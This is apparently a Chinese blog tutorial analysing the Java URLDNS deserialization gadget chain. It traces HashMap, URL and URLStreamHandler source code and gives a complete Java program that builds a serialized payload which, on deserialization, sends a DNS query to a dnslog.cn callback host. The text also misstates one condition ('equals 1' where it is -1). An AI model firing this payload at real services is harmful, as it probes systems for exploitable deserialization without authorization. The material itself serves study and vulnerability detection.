java安全-反序列化-URL链拆解
URLDNS 链是 Java 反序列化中最基础、最经典的利用链之一,核心特点是不依赖第三方库、仅使用 JDK 原生类,且利用 DNS 请求来验证反序列化触发(无代码执行,仅用于探测是否存在反序列化漏洞)。本文从原理、断点调试、手动构造三个维度彻底解析 URLDNS 链。
URLDNS 链核心原理
1. 核心触发逻辑
URLDNS 链的本质是利用HashMap的反序列化机制,触发URL类的hashCode()方法,进而发起 DNS 请求。核心调用链:
HashMap.readObject() → HashMap.hash() → URL.hashCode() → URLStreamHandler.hashCode() → InetAddress.getByName() (DNS解析)
2. 关键类 / 方法说明
| 类 / 方法 | 作用 |
|---|---|
HashMap |
反序列化入口,readObject方法会遍历恢复键值对,触发键的hashCode() |
URL |
核心触发类,hashCode()方法会调用handler.hashCode()发起 DNS 请求 |
URLStreamHandler |
URL的内部类,实际执行 DNS 解析的逻辑 |
InetAddress.getByName() |
JDK 底层方法,发起 DNS A/AAAA 记录查询(核心 DNS 请求触发点) |
3. 源码分析
在反序列化时,先会调用HashMap#readObject()方法
java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

最后循环取出键值,然后调用
java
putVal(hash(key), key, value, false, false);
这里调用了HashMap.hash()
java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
当key变量类型为URL时,会调用URL.hashCode(),不过需要满足条件key不等于null
java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}

想使得执行
java
hashCode = handler.hashCode(this);
必须满足条件hashCode等于1
handler.hashCode(this) 就是执行了URLStreamHandler.hashCode()方法

这下面就有这样一行代码
java
InetAddress addr = getHostAddress(u);
getHostAddress()方法就会使得发起DNS解析请求
4. 手搓URLDNS链
通过类反射
java
package com.qdy;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNSDebug {
// 序列化方法:修复hashCode+hostAddress双重置
public static void serUrlDns() throws Exception {
// 构造恶意HashMap,key为URL(指向DNSLog地址)
HashMap<URL, String> hashMap = new HashMap<>();
String dnsLog = "fdw8yb.dnslog.cn";
URL url = new URL("http://" + dnsLog);
Class<?> urlClass = URL.class;
// 通过反射修改URL的hashCode为非-1后再上传HashMap中(避免提前触发)
Field hashCodeField = urlClass.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 1);
// 将dnslog地址以key传入,值随意
hashMap.put(url, null);
// 上传后再将hashCode改为适配条件的值:-1
hashCodeField.set(url,-1);
// 序列化
try (FileOutputStream fos = new FileOutputStream("urldns.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos)) {
oos.writeObject(hashMap);
System.out.println("序列化至文件成功");
}
}
// 反序列化方法
public static void deserUrlDns() throws Exception {
try (FileInputStream fis = new FileInputStream("urldns.ser");
ObjectInputStream ois = new ObjectInputStream(fis)) {
ois.readObject(); // 此处必触发DNS
}
System.out.println("反序列化完成,查看DNSLog");
}
public static void main(String[] args) throws Exception {
serUrlDns();
// deserUrlDns();
}
}
运行后成功生成该链到urldns.ser文件内

然后执行反序列化


成功